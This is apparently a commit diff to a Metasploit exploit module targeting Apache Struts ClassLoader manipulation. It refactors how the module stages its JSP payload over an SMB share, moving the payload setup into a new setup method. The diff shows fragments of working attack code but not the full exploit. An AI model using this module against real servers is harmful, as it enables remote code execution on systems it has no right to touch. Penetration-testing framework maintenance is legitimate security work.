Update a couple of modules for the new SMB server

modules/exploits/multi/http/struts_code_exec_classloader.rb

@@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote
         OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
       ])
 
-    deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS')
+    deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME')
   end
 
   def jsp_dropper(file, exe)
@@ -217,10 +217,15 @@ class MetasploitModule < Msf::Exploit::Remote
     end
   end
 
-  # Used with SMB targets
-  def primer
+  def setup
+    super
+
     self.file_name << '.jsp'
     self.file_contents = payload.encoded
+  end
+
+  # Used with SMB targets
+  def primer
     print_status("JSP payload available on #{unc}...")
 
     print_status("Modifying Class Loader...")
@@ -300,4 +305,3 @@ class MetasploitModule < Msf::Exploit::Remote
     modify_class_loader(properties)
   end
 end
-